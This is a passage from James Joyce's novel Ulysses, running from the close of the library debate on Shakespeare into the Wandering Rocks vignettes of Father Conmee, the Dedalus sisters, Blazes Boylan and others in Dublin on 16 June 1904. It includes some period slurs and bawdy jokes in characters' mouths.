from the doorway called: + +--Mr Lyster! Father Dineen wants ... + +--O, Father Dineen! Directly. + +Swiftly rectly creaking rectly rectly he was rectly gone. + +John Eglinton touched the foil. + +--Come, he said. Let us hear what you have to say of Richard and +Edmund. You kept them for the last, didn't you? + +--In asking you to remember those two noble kinsmen nuncle Richie and +nuncle Edmund, Stephen answered, I feel I am asking too much perhaps. A +brother is as easily forgotten as an umbrella. + +Lapwing. + +Where is your brother? Apothecaries' hall. My whetstone. Him, then +Cranly, Mulligan: now these. Speech, speech. But act. Act speech. They +mock to try you. Act. Be acted on. + +Lapwing. + +I am tired of my voice, the voice of Esau. My kingdom for a drink. + +On. + +--You will say those names were already in the chronicles from which he +took the stuff of his plays. Why did he take them rather than others? +Richard, a whoreson crookback, misbegotten, makes love to a widowed +Ann (what's in a name?), woos and wins her, a whoreson merry widow. +Richard the conqueror, third brother, came after William the conquered. +The other four acts of that play hang limply from that first. Of all his +kings Richard is the only king unshielded by Shakespeare's reverence, +the angel of the world. Why is the underplot of KING LEAR in which Edmund +figures lifted out of Sidney's ARCADIA and spatchcocked on to a Celtic +legend older than history? + +--That was Will's way, John Eglinton defended. We should not now +combine a Norse saga with an excerpt from a novel by George Meredith. +QUE VOULEZ-VOUS? Moore would say. He puts Bohemia on the seacoast and +makes Ulysses quote Aristotle. + +--Why? Stephen answered himself. Because the theme of the false or the +usurping or the adulterous brother or all three in one is to Shakespeare, +what the poor are not, always with him. The note of banishment, +banishment from the heart, banishment from home, sounds uninterruptedly +from THE TWO GENTLEMEN OF VERONA onward till Prospero breaks his staff, +buries it certain fathoms in the earth and drowns his book. It doubles +itself in the middle of his life, reflects itself in another, repeats +itself, protasis, epitasis, catastasis, catastrophe. It repeats +itself again when he is near the grave, when his married daughter +Susan, chip of the old block, is accused of adultery. But it was +the original sin that darkened his understanding, weakened his +will and left in him a strong inclination to evil. The words are +those of my lords bishops of Maynooth. An original sin and, like original +sin, committed by another in whose sin he too has sinned. It is between +the lines of his last written words, it is petrified on his tombstone +under which her four bones are not to be laid. Age has not withered it. +Beauty and peace have not done it away. It is in infinite variety +everywhere in the world he has created, in MUCH ADO ABOUT NOTHING, twice +in AS YOU LIKE IT, in THE TEMPEST, in HAMLET, in MEASURE FOR MEASURE--and +in all the other plays which I have not read. + +He laughed to free his mind from his mind's bondage. + +Judge Eglinton summed up. + +--The truth is midway, he affirmed. He is the ghost and the prince. He is +all in all. + +--He is, Stephen said. The boy of act one is the mature man of act five. +All in all. In CYMBELINE, in OTHELLO he is bawd and cuckold. He acts and +is acted on. Lover of an ideal or a perversion, like Jose he kills the +real Carmen. His unremitting intellect is the hornmad Iago ceaselessly +willing that the moor in him shall suffer. + +--Cuckoo! Cuckoo! Cuck Mulligan clucked lewdly. O word of fear! + +Dark dome received, reverbed. + +--And what a character is Iago! undaunted John Eglinton exclaimed. +When all is said Dumas FILS (or is it Dumas PERE?) is right. After God +Shakespeare has created most. + +--Man delights him not nor woman neither, Stephen said. He returns after +a life of absence to that spot of earth where he was born, where he has +always been, man and boy, a silent witness and there, his journey of life +ended, he plants his mulberrytree in the earth. Then dies. The motion is +ended. Gravediggers bury Hamlet PERE and Hamlet FILS. A king and a +prince at last in death, with incidental music. And, what though murdered +and betrayed, bewept by all frail tender hearts for, Dane or Dubliner, +sorrow for the dead is the only husband from whom they refuse to be +divorced. If you like the epilogue look long on it: prosperous Prospero, +the good man rewarded, Lizzie, grandpa's lump of love, and nuncle Richie, +the bad man taken off by poetic justice to the place where the bad niggers +go. Strong curtain. He found in the world without as actual what was in his +world within as possible. Maeterlinck says: IF SOCRATES LEAVE HIS HOUSE +TODAY HE WILL FIND THE SAGE SEATED ON HIS DOORSTEP. IF JUDAS GO FORTH +TONIGHT IT IS TO JUDAS HIS STEPS WILL TEND. Every life is many days, +day after day. We walk through ourselves, meeting robbers, ghosts, giants, +old men, young men, wives, widows, brothers-in-love, but always meeting +ourselves. The playwright who wrote the folio of this world and wrote it +badly (He gave us light first and the sun two days later), the lord of +things as they are whom the most Roman of catholics call DIO BOIA, +hangman god, is doubtless all in all in all of us, ostler and butcher, +and would be bawd and cuckold too but that in the economy of heaven, +foretold by Hamlet, there are no more marriages, glorified man, an +androgynous angel, being a wife unto himself. + +--EUREKA! Buck Mulligan cried. EUREKA! + +Suddenly happied he jumped up and reached in a stride John Eglinton's +desk. + +--May I? he said. The Lord has spoken to Malachi. + +He began to scribble on a slip of paper. + +Take some slips from the counter going out. + +--Those who are married, Mr Best, douce herald, said, all save one, shall +live. The rest shall keep as they are. + +He laughed, unmarried, at Eglinton Johannes, of arts a bachelor. + +Unwed, unfancied, ware of wiles, they fingerponder nightly each his +variorum edition of THE TAMING OF THE SHREW. + +--You are a delusion, said roundly John Eglinton to Stephen. You have +brought us all this way to show us a French triangle. Do you believe your +own theory? + +--No, Stephen said promptly. + +--Are you going to write it? Mr Best asked. You ought to make it a +dialogue, don't you know, like the Platonic dialogues Wilde wrote. + +John Eclecticon doubly smiled. + +--Well, in that case, he said, I don't see why you should expect payment +for it since you don't believe it yourself. Dowden believes there is some +mystery in HAMLET but will say no more. Herr Bleibtreu, the man Piper met +in Berlin, who is working up that Rutland theory, believes that the secret +is hidden in the Stratford monument. He is going to visit the present +duke, Piper says, and prove to him that his ancestor wrote the plays. +It will come as a surprise to his grace. But he believes his theory. + +I believe, O Lord, help my unbelief. That is, help me to believe or help +me to unbelieve? Who helps to believe? EGOMEN. Who to unbelieve? Other +chap. + +--You are the only contributor to DANA who asks for pieces of silver. Then +I don't know about the next number. Fred Ryan wants space for an article +on economics. + +Fraidrine. Two pieces of silver he lent me. Tide you over. Economics. + +--For a guinea, Stephen said, you can publish this interview. + +Buck Mulligan stood up from his laughing scribbling, laughing: and +then gravely said, honeying malice: + +--I called upon the bard Kinch at his summer residence in upper +Mecklenburgh street and found him deep in the study of the SUMMA CONTRA +GENTILES in the company of two gonorrheal ladies, Fresh Nelly and Rosalie, +the coalquay whore. + +He broke away. + +--Come, Kinch. Come, wandering Aengus of the birds. + +Come, Kinch. You have eaten all we left. Ay. I will serve you your orts +and offals. + +Stephen rose. + +Life is many days. This will end. + +--We shall see you tonight, John Eglinton said. NOTRE AMI Moore says +Malachi Mulligan must be there. + +Buck Mulligan flaunted his slip and panama. + +--Monsieur Moore, he said, lecturer on French letters to the youth of +Ireland. I'll be there. Come, Kinch, the bards must drink. Can you walk +straight? + +Laughing, he ... + +Swill till eleven. Irish nights entertainment. + +Lubber ... + +Stephen followed a lubber ... + +One day in the national library we had a discussion. Shakes. After. +His lub back: I followed. I gall his kibe. + +Stephen, greeting, then all amort, followed a lubber jester, a +wellkempt head, newbarbered, out of the vaulted cell into a shattering +daylight of no thought. + +What have I learned? Of them? Of me? + +Walk like Haines now. + +The constant readers' room. In the readers' book Cashel Boyle +O'Connor Fitzmaurice Tisdall Farrell parafes his polysyllables. Item: was +Hamlet mad? The quaker's pate godlily with a priesteen in booktalk. + +--O please do, sir ... I shall be most pleased ... + +Amused Buck Mulligan mused in pleasant murmur with himself, selfnodding: + +--A pleased bottom. + +The turnstile. + +Is that? ... Blueribboned hat ... Idly writing ... What? Looked? ... + +The curving balustrade: smoothsliding Mincius. + +Puck Mulligan, panamahelmeted, went step by step, iambing, trolling: + + + JOHN EGLINTON, MY JO, JOHN, + WHY WON'T YOU WED A WIFE? + + +He spluttered to the air: + +--O, the chinless Chinaman! Chin Chon Eg Lin Ton. We went over to their +playbox, Haines and I, the plumbers' hall. Our players are creating a new +art for Europe like the Greeks or M. Maeterlinck. Abbey Theatre! I smell +the pubic sweat of monks. + +He spat blank. + +Forgot: any more than he forgot the whipping lousy Lucy gave him. +And left the FEMME DE TRENTE ANS. And why no other children born? And his +first child a girl? + +Afterwit. Go back. + +The dour recluse still there (he has his cake) and the douce youngling, +minion of pleasure, Phedo's toyable fair hair. + +Eh ... I just eh ... wanted ... I forgot ... he ... + +--Longworth and M'Curdy Atkinson were there ... + +Puck Mulligan footed featly, trilling: + + I HARDLY HEAR THE PURLIEU CRY + OR A TOMMY TALK AS I PASS ONE BY + BEFORE MY THOUGHTS BEGIN TO RUN + ON F. M'CURDY ATKINSON, + THE SAME THAT HAD THE WOODEN LEG + AND THAT FILIBUSTERING FILIBEG + THAT NEVER DARED TO SLAKE HIS DROUTH, + MAGEE THAT HAD THE CHINLESS MOUTH. + BEING AFRAID TO MARRY ON EARTH + THEY MASTURBATED FOR ALL THEY WERE WORTH. + +Jest on. Know thyself. + +Halted, below me, a quizzer looks at me. I halt. + +--Mournful mummer, Buck Mulligan moaned. Synge has left off wearing +black to be like nature. Only crows, priests and English coal are black. + +A laugh tripped over his lips. + +--Longworth is awfully sick, he said, after what you wrote about that old +hake Gregory. O you inquisitional drunken jewjesuit! She gets you a job on +the paper and then you go and slate her drivel to Jaysus. Couldn't you do +the Yeats touch? + +He went on and down, mopping, chanting with waving graceful arms: + +--The most beautiful book that has come out of our country in my time. +One thinks of Homer. + +He stopped at the stairfoot. + +--I have conceived a play for the mummers, he said solemnly. + +The pillared Moorish hall, shadows entwined. Gone the nine men's +morrice with caps of indices. + +In sweetly varying voices Buck Mulligan read his tablet: + + + EVERYMAN HIS OWN WIFE + OR + A HONEYMOON IN THE HAND + (A NATIONAL IMMORALITY IN THREE ORGASMS) + BY + BALLOCKY MULLIGAN + + +He turned a happy patch's smirk to Stephen, saying: + +--The disguise, I fear, is thin. But listen. + +He read, MARCATO: + +--Characters: + + + TODY TOSTOFF (a ruined Pole) + CRAB (a bushranger) + MEDICAL DICK ) + and ) (two birds with one stone) + MEDICAL DAVY ) + MOTHER GROGAN (a watercarrier) + FRESH NELLY + and + ROSALIE (the coalquay whore). + + +He laughed, lolling a to and fro head, walking on, followed by Stephen: +and mirthfully he told the shadows, souls of men: + +--O, the night in the Camden hall when the daughters of Erin had to lift +their skirts to step over you as you lay in your mulberrycoloured, +multicoloured, multitudinous vomit! + +--The most innocent son of Erin, Stephen said, for whom they ever lifted +them. + +About to pass through the doorway, feeling one behind, he stood aside. + +Part. The moment is now. Where then? If Socrates leave his house +today, if Judas go forth tonight. Why? That lies in space which I in time +must come to, ineluctably. + +My will: his will that fronts me. Seas between. + +A man passed out between them, bowing, greeting. + +--Good day again, Buck Mulligan said. + +The portico. + +Here I watched the birds for augury. Aengus of the birds. They go, +they come. Last night I flew. Easily flew. Men wondered. Street of harlots +after. A creamfruit melon he held to me. In. You will see. + +--The wandering jew, Buck Mulligan whispered with clown's awe. Did you +see his eye? He looked upon you to lust after you. I fear thee, ancient +mariner. O, Kinch, thou art in peril. Get thee a breechpad. + +Manner of Oxenford. + +Day. Wheelbarrow sun over arch of bridge. + +A dark back went before them, step of a pard, down, out by the +gateway, under portcullis barbs. + +They followed. + +Offend me still. Speak on. + +Kind air defined the coigns of houses in Kildare street. No birds. Frail +from the housetops two plumes of smoke ascended, pluming, and in a flaw +of softness softly were blown. + +Cease to strive. Peace of the druid priests of Cymbeline: hierophantic: +from wide earth an altar. + + + LAUD WE THE GODS + AND LET OUR CROOKED SMOKES CLIMB TO THEIR NOSTRILS + FROM OUR BLESS'D ALTARS. + + + * * * * * * * + + +The superior, the very reverend John Conmee S.J. reset his smooth +watch in his interior pocket as he came down the presbytery steps. Five to +three. Just nice time to walk to Artane. What was that boy's name again? +Dignam. Yes. VERE DIGNUM ET IUSTUM EST. Brother Swan was the person to +see. Mr Cunningham's letter. Yes. Oblige him, if possible. Good practical +catholic: useful at mission time. + +A onelegged sailor, swinging himself onward by lazy jerks of his +crutches, growled some notes. He jerked short before the convent of the +sisters of charity and held out a peaked cap for alms towards the very +reverend John Conmee S. J. Father Conmee blessed him in the sun for his +purse held, he knew, one silver crown. + +Father Conmee crossed to Mountjoy square. He thought, but not for +long, of soldiers and sailors, whose legs had been shot off by +cannonballs, ending their days in some pauper ward, and of cardinal +Wolsey's words: IF I HAD SERVED MY GOD AS I HAVE SERVED MY KING HE WOULD +NOT HAVE ABANDONED ME IN MY OLD DAYS. He walked by the treeshade of +sunnywinking leaves: and towards him came the wife of Mr David Sheehy +M.P. + +--Very well, indeed, father. And you, father? + +Father Conmee was wonderfully well indeed. He would go to Buxton +probably for the waters. And her boys, were they getting on well at +Belvedere? Was that so? Father Conmee was very glad indeed to hear that. +And Mr Sheehy himself? Still in London. The house was still sitting, to be +sure it was. Beautiful weather it was, delightful indeed. Yes, it was very +probable that Father Bernard Vaughan would come again to preach. O, +yes: a very great success. A wonderful man really. + +Father Conmee was very glad to see the wife of Mr David Sheehy +M.P. Iooking so well and he begged to be remembered to Mr David Sheehy +M.P. Yes, he would certainly call. + +--Good afternoon, Mrs Sheehy. + +Father Conmee doffed his silk hat and smiled, as he took leave, at the +jet beads of her mantilla inkshining in the sun. And smiled yet again, in +going. He had cleaned his teeth, he knew, with arecanut paste. + +Father Conmee walked and, walking, smiled for he thought on Father +Bernard Vaughan's droll eyes and cockney voice. + +--Pilate! Wy don't you old back that owlin mob? + +A zealous man, however. Really he was. And really did great good in. +his way. Beyond a doubt. He loved Ireland, he said, and he loved the +Irish. Of good family too would one think it? Welsh, were they not? + +O, lest he forget. That letter to father provincial. + +Father Conmee stopped three little schoolboys at the corner of +Mountjoy square. Yes: they were from Belvedere. The little house. Aha. +And were they good boys at school? O. That was very good now. And what +was his name? Jack Sohan. And his name? Ger. Gallaher. And the other +little man? His name was Brunny Lynam. O, that was a very nice name to +have. + +Father Conmee gave a letter from his breast to Master Brunny Lynam +and pointed to the red pillarbox at the corner of Fitzgibbon street. + +--But mind you don't post yourself into the box, little man, he said. + +The boys sixeyed Father Conmee and laughed: + +--O, sir. + +--Well, let me see if you can post a letter, Father Conmee said. + +Master Brunny Lynam ran across the road and put Father Conmee's +letter to father provincial into the mouth of the bright red letterbox. +Father Conmee smiled and nodded and smiled and walked along Mountjoy +square east. + +Mr Denis J Maginni, professor of dancing &c, in silk hat, slate +frockcoat with silk facings, white kerchief tie, tight lavender trousers, +canary gloves and pointed patent boots, walking with grave deportment +most respectfully took the curbstone as he passed lady Maxwell at the +corner of Dignam's court. + +Was that not Mrs M'Guinness? + +Mrs M'Guinness, stately, silverhaired, bowed to Father Conmee from +the farther footpath along which she sailed. And Father Conmee smiled and +saluted. How did she do? + +A fine carriage she had. Like Mary, queen of Scots, something. And to +think that she was a pawnbroker! Well, now! Such a ... what should he +say? ... such a queenly mien. + +Father Conmee walked down Great Charles street and glanced at the +shutup free church on his left. The reverend T. R. Greene B.A. will (D.V.) +speak. The incumbent they called him. He felt it incumbent on him to say a +few words. But one should be charitable. Invincible ignorance. They acted +according to their lights. + +Father Conmee turned the corner and walked along the North +Circular road. It was a wonder that there was not a tramline in such an +important thoroughfare. Surely, there ought to be. + +A band of satchelled schoolboys crossed from Richmond street. All +raised untidy caps. Father Conmee greeted them more than once benignly. +Christian brother boys. + +Father Conmee smelt incense on his right hand as he walked. Saint +Joseph's church, Portland row. For aged and virtuous females. Father +Conmee raised his hat to the Blessed Sacrament. Virtuous: but occasionally +they were also badtempered. + +Near Aldborough house Father Conmee thought of that spendthrift +nobleman. And now it was an office or something. + +Father Conmee began to walk along the North Strand road and was +saluted by Mr William Gallagher who stood in the doorway of his shop. +Father Conmee saluted Mr William Gallagher and perceived the odours +that came from baconflitches and ample cools of butter. He passed +Grogan's the Tobacconist against which newsboards leaned and told of a +dreadful catastrophe in New York. In America those things were +continually happening. Unfortunate people to die like that, unprepared. +Still, an act of perfect contrition. + +Father Conmee went by Daniel Bergin's publichouse against the +window of which two unlabouring men lounged. They saluted him and +were saluted. + +Father Conmee passed H. J. O'Neill's funeral establishment where +Corny Kelleher totted figures in the daybook while he chewed a blade of +hay. A constable on his beat saluted Father Conmee and Father Conmee +saluted the constable. In Youkstetter's, the porkbutcher's, Father Conmee +observed pig's puddings, white and black and red, lie neatly curled in +tubes. + +Moored under the trees of Charleville Mall Father Conmee saw a +turfbarge, a towhorse with pendent head, a bargeman with a hat of dirty +straw seated amidships, smoking and staring at a branch of poplar above +him. It was idyllic: and Father Conmee reflected on the providence of the +Creator who had made turf to be in bogs whence men might dig it out and +bring it to town and hamlet to make fires in the houses of poor people. + +On Newcomen bridge the very reverend John Conmee S.J. of saint +Francis Xavier's church, upper Gardiner street, stepped on to an outward +bound tram. + +Off an inward bound tram stepped the reverend Nicholas Dudley +C. C. of saint Agatha's church, north William street, on to Newcomen +bridge. + +At Newcomen bridge Father Conmee stepped into an outward bound +tram for he disliked to traverse on foot the dingy way past Mud Island. + +Father Conmee sat in a corner of the tramcar, a blue ticket tucked +with care in the eye of one plump kid glove, while four shillings, a +sixpence and five pennies chuted from his other plump glovepalm into his +purse. Passing the ivy church he reflected that the ticket inspector +usually made his visit when one had carelessly thrown away the ticket. +The solemnity of the occupants of the car seemed to Father Conmee +excessive for a journey so short and cheap. Father Conmee liked cheerful +decorum. + +It was a peaceful day. The gentleman with the glasses opposite Father +Conmee had finished explaining and looked down. His wife, Father +Conmee supposed. A tiny yawn opened the mouth of the wife of the gentleman +with the glasses. She raised her small gloved fist, yawned ever so gently, +tiptapping her small gloved fist on her opening mouth and smiled tinily, +sweetly. + +Father Conmee perceived her perfume in the car. He perceived also +that the awkward man at the other side of her was sitting on the edge of +the seat. + +Father Conmee at the altarrails placed the host with difficulty in the +mouth of the awkward old man who had the shaky head. + +At Annesley bridge the tram halted and, when it was about to go, an +old woman rose suddenly from her place to alight. The conductor pulled +the bellstrap to stay the car for her. She passed out with her basket and +a marketnet: and Father Conmee saw the conductor help her and net and +basket down: and Father Conmee thought that, as she had nearly passed +the end of the penny fare, she was one of those good souls who had always +to be told twice BLESS YOU, MY CHILD, that they have been absolved, PRAY +FOR ME. But they had so many worries in life, so many cares, poor +creatures. + +From the hoardings Mr Eugene Stratton grimaced with thick niggerlips at +Father Conmee. + +Father Conmee thought of the souls of black and brown and yellow +men and of his sermon on saint Peter Claver S.J. and the African mission +and of the propagation of the faith and of the millions of black and brown +and yellow souls that had not received the baptism of water when their last +hour came like a thief in the night. That book by the Belgian jesuit, LE +NOMBRE DES ELUS, seemed to Father Conmee a reasonable plea. Those were +millions of human souls created by God in His Own likeness to whom the +faith had not (D.V.) been brought. But they were God's souls, created by +God. It seemed to Father Conmee a pity that they should all be lost, a +waste, if one might say. + +At the Howth road stop Father Conmee alighted, was saluted by the +conductor and saluted in his turn. + +The Malahide road was quiet. It pleased Father Conmee, road and +name. The joybells were ringing in gay Malahide. Lord Talbot de Malahide, +immediate hereditary lord admiral of Malahide and the seas adjoining. +Then came the call to arms and she was maid, wife and widow in one day. +Those were old worldish days, loyal times in joyous townlands, old times +in the barony. + +Father Conmee, walking, thought of his little book OLD TIMES IN THE +BARONY and of the book that might be written about jesuit houses and of +Mary Rochfort, daughter of lord Molesworth, first countess of Belvedere. + +A listless lady, no more young, walked alone the shore of lough +Ennel, Mary, first countess of Belvedere, listlessly walking in the +evening, not startled when an otter plunged. Who could know the truth? +Not the jealous lord Belvedere and not her confessor if she had not +committed adultery fully, EIACULATIO SEMINIS INTER VAS NATURALE MULIERIS, +with her husband's brother? She would half confess if she had not all +sinned as women did. Only God knew and she and he, her husband's brother. + +Father Conmee thought of that tyrannous incontinence, needed +however for man's race on earth, and of the ways of God which were not +our ways. + +Don John Conmee walked and moved in times of yore. He was +humane and honoured there. He bore in mind secrets confessed and he +smiled at smiling noble faces in a beeswaxed drawingroom, ceiled with full +fruit clusters. And the hands of a bride and of a bridegroom, noble to +noble, were impalmed by Don John Conmee. + +It was a charming day. + +The lychgate of a field showed Father Conmee breadths of cabbages, +curtseying to him with ample underleaves. The sky showed him a flock of +small white clouds going slowly down the wind. MOUTONNER, the French +said. A just and homely word. + +Father Conmee, reading his office, watched a flock of muttoning +clouds over Rathcoffey. His thinsocked ankles were tickled by the stubble +of Clongowes field. He walked there, reading in the evening, and heard the +cries of the boys' lines at their play, young cries in the quiet evening. +He was their rector: his reign was mild. + +Father Conmee drew off his gloves and took his rededged breviary out. +An ivory bookmark told him the page. + +Nones. He should have read that before lunch. But lady Maxwell had come. + +Father Conmee read in secret PATER and AVE and crossed his breast. +DEUS IN ADIUTORIUM. + +He walked calmly and read mutely the nones, walking and reading till +he came to RES in BEATI IMMACULATI: PRINCIPIUM VERBORUM TUORUM VERITAS: +IN ETERNUM OMNIA INDICIA IUSTITIAE TUAE. + +A flushed young man came from a gap of a hedge and after him came +a young woman with wild nodding daisies in her hand. The young man +raised his cap abruptly: the young woman abruptly bent and with slow care +detached from her light skirt a clinging twig. + +Father Conmee blessed both gravely and turned a thin page of his +breviary. SIN: PRINCIPES PERSECUTI SUNT ME GRATIS: ET A VERBIS TUIS +FORMIDAVIT COR MEUM. + + + * * * * * + + +Corny Kelleher closed his long daybook and glanced with his +drooping eye at a pine coffinlid sentried in a corner. He pulled himself +erect, went to it and, spinning it on its axle, viewed its shape and brass +furnishings. Chewing his blade of hay he laid the coffinlid by and came to +the doorway. There he tilted his hatbrim to give shade to his eyes and +leaned against the doorcase, looking idly out. + +Father John Conmee stepped into the Dollymount tram on +Newcomen bridge. + +Corny Kelleher locked his largefooted boots and gazed, his hat +downtilted, chewing his blade of hay. + +Constable 57C, on his beat, stood to pass the time of day. + +--That's a fine day, Mr Kelleher. + +--Ay, Corny Kelleher said. + +--It's very close, the constable said. + +Corny Kelleher sped a silent jet of hayjuice arching from his mouth +while a generous white arm from a window in Eccles street flung forth a +coin. + +--What's the best news? he asked. + +--I seen that particular party last evening, the constable said with bated +breath. + + + * * * * * + + +A onelegged sailor crutched himself round MacConnell's corner, +skirting Rabaiotti's icecream car, and jerked himself up Eccles street. +Towards Larry O'Rourke, in shirtsleeves in his doorway, he growled +unamiably: + +--FOR ENGLAND ... + +He swung himself violently forward past Katey and Boody Dedalus, +halted and growled: + +--HOME AND BEAUTY. + +J. J. O'Molloy's white careworn face was told that Mr Lambert was +in the warehouse with a visitor. + +A stout lady stopped, took a copper coin from her purse and dropped +it into the cap held out to her. The sailor grumbled thanks, glanced +sourly at the unheeding windows, sank his head and swung himself forward +four strides. + +He halted and growled angrily: + +--FOR ENGLAND ... + +Two barefoot urchins, sucking long liquorice laces, halted near him, +gaping at his stump with their yellowslobbered mouths. + +He swung himself forward in vigorous jerks, halted, lifted his head +towards a window and bayed deeply: + +--HOME AND BEAUTY. + +The gay sweet chirping whistling within went on a bar or two, ceased. +The blind of the window was drawn aside. A card UNFURNISHED APARTMENTS +slipped from the sash and fell. A plump bare generous arm shone, was seen, +held forth from a white petticoatbodice and taut shiftstraps. A woman's +hand flung forth a coin over the area railings. It fell on the path. + +One of the urchins ran to it, picked it up and dropped it into the +minstrel's cap, saying: + +--There, sir. + + + * * * * * + + +Katey and Boody Dedalus shoved in the door of the closesteaming +kitchen. + +--Did you put in the books? Boody asked. + +Maggy at the range rammed down a greyish mass beneath bubbling +suds twice with her potstick and wiped her brow. + +--They wouldn't give anything on them, she said. + +Father Conmee walked through Clongowes fields, his thinsocked +ankles tickled by stubble. + +--Where did you try? Boody asked. + +--M'Guinness's. + +Boody stamped her foot and threw her satchel on the table. + +--Bad cess to her big face! she cried. + +Katey went to the range and peered with squinting eyes. + +--What's in the pot? she asked. + +--Shirts, Maggy said. + +Boody cried angrily: + +--Crickey, is there nothing for us to eat? + +Katey, lifting the kettlelid in a pad of her stained skirt, asked: + +--And what's in this? + +A heavy fume gushed in answer. + +--Peasoup, Maggy said. + +--Where did you get it? Katey asked. + +--Sister Mary Patrick, Maggy said. + +The lacquey rang his bell. + +--Barang! + +Boody sat down at the table and said hungrily: + +--Give us it here. + +Maggy poured yellow thick soup from the kettle into a bowl. Katey, +sitting opposite Boody, said quietly, as her fingertip lifted to her mouth +random crumbs: + +--A good job we have that much. Where's Dilly? + +--Gone to meet father, Maggy said. + +Boody, breaking big chunks of bread into the yellow soup, added: + +--Our father who art not in heaven. + +Maggy, pouring yellow soup in Katey's bowl, exclaimed: + +--Boody! For shame! + +A skiff, a crumpled throwaway, Elijah is coming, rode lightly down +the Liffey, under Loopline bridge, shooting the rapids where water chafed +around the bridgepiers, sailing eastward past hulls and anchorchains, +between the Customhouse old dock and George's quay. + + * * * * * + + +The blond girl in Thornton's bedded the wicker basket with rustling +fibre. Blazes Boylan handed her the bottle swathed in pink tissue paper +and a small jar. + +--Put these in first, will you? he said. + +--Yes, sir, the blond girl said. And the fruit on top. + +--That'll do, game ball, Blazes Boylan said. + +She bestowed fat pears neatly, head by tail, and among them ripe +shamefaced peaches. + +Blazes Boylan walked here and there in new tan shoes about the +fruitsmelling shop, lifting fruits, young juicy crinkled and plump red +tomatoes, sniffing smells. + +H. E. L. Y.'S filed before him, tallwhitehatted, past Tangier lane, +plodding towards their goal. + +He turned suddenly from a chip of strawberries, drew a gold watch +from his fob and held it at its chain's length. + +--Can you send them by tram? Now? + +A darkbacked figure under Merchants' arch scanned books on the +hawker's cart. + +--Certainly, sir. Is it in the city? + +--O, yes, Blazes Boylan said. Ten minutes. + +The blond girl handed him a docket and pencil. + +--Will you write the address, sir? + +Blazes Boylan at the counter wrote and pushed the docket to her. + +--Send it at once, will you? he said. It's for an invalid. + +--Yes, sir. I will, sir. + +Blazes Boylan rattled merry money in his trousers' pocket. + +--What's the damage? he asked. + +The blond girl's slim fingers reckoned the fruits. + +Blazes Boylan looked into the cut of her blouse. A young pullet. He +took a red carnation from the tall stemglass. + +--This for me? he asked gallantly. + +The blond girl glanced sideways at him, got up regardless, with his tie +a bit crooked, blushing. + +--Yes, sir, she said. + +Bending archly she reckoned again fat pears and blushing peaches. + +Blazes Boylan looked in her blouse with more favour, the stalk of the +red flower between his smiling teeth. + +--May I say a word to your telephone, missy? he asked roguishly. + + + * * * * * + + +--MA! Almidano Artifoni said. + +He gazed over Stephen's shoulder at Goldsmith's knobby poll. + +Two carfuls of tourists passed slowly, their women sitting fore, +gripping the handrests. Palefaces. Men's arms frankly round their stunted +forms. They looked from Trinity to the blind columned porch of the bank +of Ireland where pigeons roocoocooed. + +--ANCH'IO HO AVUTO DI QUESTE IDEE, Almidano Artifoni said, QUAND' ERO +GIOVINE COME LEI. EPPOI MI SONO CONVINTO CHE IL MONDO E UNA BESTIA. +PECCATO. PERCHE LA SUA VOCE ... SAREBBE UN CESPITE DI RENDITA, VIA. +INVECE, LEI SI SACRIFICA. + +--SACRIFIZIO INCRUENTO, Stephen said smiling, swaying his ashplant in slow +swingswong from its midpoint, lightly. + +--SPERIAMO, the round mustachioed face said pleasantly. MA, DIA RETTA A +ME. CI RIFLETTA. + +By the stern stone hand of Grattan, bidding halt, an Inchicore tram +unloaded straggling Highland soldiers of a band. + +--CI RIFLETTERO, Stephen said, glancing down the solid trouserleg. + +--MA, SUL SERIO, EH? Almidano Artifoni said. + +His heavy hand took Stephen's firmly. Human eyes. They gazed +curiously an instant and turned quickly towards a Dalkey tram. + +--ECCOLO, Almidano Artifoni said in friendly haste. VENGA A TROVARMI E CI +PENSI. ADDIO, CARO. + +--ARRIVEDERLA, MAESTRO, Stephen said, raising his hat when his hand was +freed. E GRAZIE. + +--DI CHE? Almidano Artifoni said. SCUSI, EH? TANTE BELLE COSE! + +Almidano Artifoni, holding up a baton of rolled music as a signal, +trotted on stout trousers after the Dalkey tram. In vain he trotted, +signalling in vain among the rout of barekneed gillies smuggling +implements of music through Trinity gates. + + + * * * * * + + +Miss Dunne hid the Capel street library copy of THE WOMAN IN WHITE +far back in her drawer and rolled a sheet of gaudy notepaper into her +typewriter. + +Too much mystery business in it. Is he in love with that one, Marion? +Change it and get another by Mary Cecil Haye. + +The disk shot down the groove, wobbled a while, ceased and ogled +them: six. + +Miss Dunne clicked on the keyboard: + +--16 June 1904. + +Five tallwhitehatted sandwichmen between Monypeny's corner and +the slab where Wolfe Tone's statue was not, eeled themselves turning +H. E. L. Y.'S and plodded back as they had come. + + +Then she stared at the large poster of Marie Kendall, charming soubrette, +and, listlessly lolling, scribbled on the jotter sixteens and capital +esses. Mustard hair and dauby cheeks. She's not nicelooking, is she? The +way she's holding up her bit of a skirt. Wonder will that fellow be at the +band tonight. If I could get that dressmaker to make a concertina skirt +like Susy Nagle's. They kick out grand. Shannon and all the boatclub +swells never took his eyes off her. Hope to goodness he won't keep me here +till seven. + +The telephone rang rudely by her ear. + +--Hello. Yes, sir. No, sir. Yes, sir. I'll ring them up after five. Only +those two, sir, for Belfast and Liverpool. All right, sir. Then I can go +after six if you're not back. A quarter after. Yes, sir. Twentyseven and +six. I'll tell him. Yes: one, seven, six. + +She scribbled three figures on an envelope. + +--Mr Boylan! Hello! That gentleman from SPORT was in looking for you. +Mr Lenehan, yes. He said he'll be in the Ormond at four. No, sir. Yes, +sir. I'll ring them up after five. + + + * * * * * + + +Two pink faces turned in the flare of the tiny torch. + +--Who's that? Ned Lambert asked. Is that Crotty? + +--Ringabella and Crosshaven, a voice replied groping for foothold. + +--Hello, Jack, is that yourself? Ned Lambert said, raising in salute his +pliant lath among the flickering arches. Come on. Mind your steps there. + +The vesta in the clergyman's uplifted hand consumed itself in a long soft +flame and was let fall. At their feet its red speck died: and mouldy air +closed round them. + +--How interesting! a refined accent said in the gloom. + +--Yes, sir, Ned Lambert said heartily. We are standing in the historic +council chamber of saint Mary's abbey where silken Thomas proclaimed +himself a rebel in 1534. This is the most historic spot in all Dublin. +O'Madden Burke is going to write something about it one of these days. The +old bank of Ireland was over the way till the time of the union and the +original jews' temple was here too before they built their synagogue over +in Adelaide road. You were never here before, Jack, were you? + +--No, Ned. + +--He rode down through Dame walk, the refined accent said, if my +memory serves me. The mansion of the Kildares was in Thomas court. + +--That's right, Ned Lambert said. That's quite right, sir. + +--If you will be so kind then, the clergyman said, the next time to allow +me perhaps ... + +--Certainly, Ned Lambert said. Bring the camera whenever you like. I'll +get those bags cleared away from the windows. You can take it from here 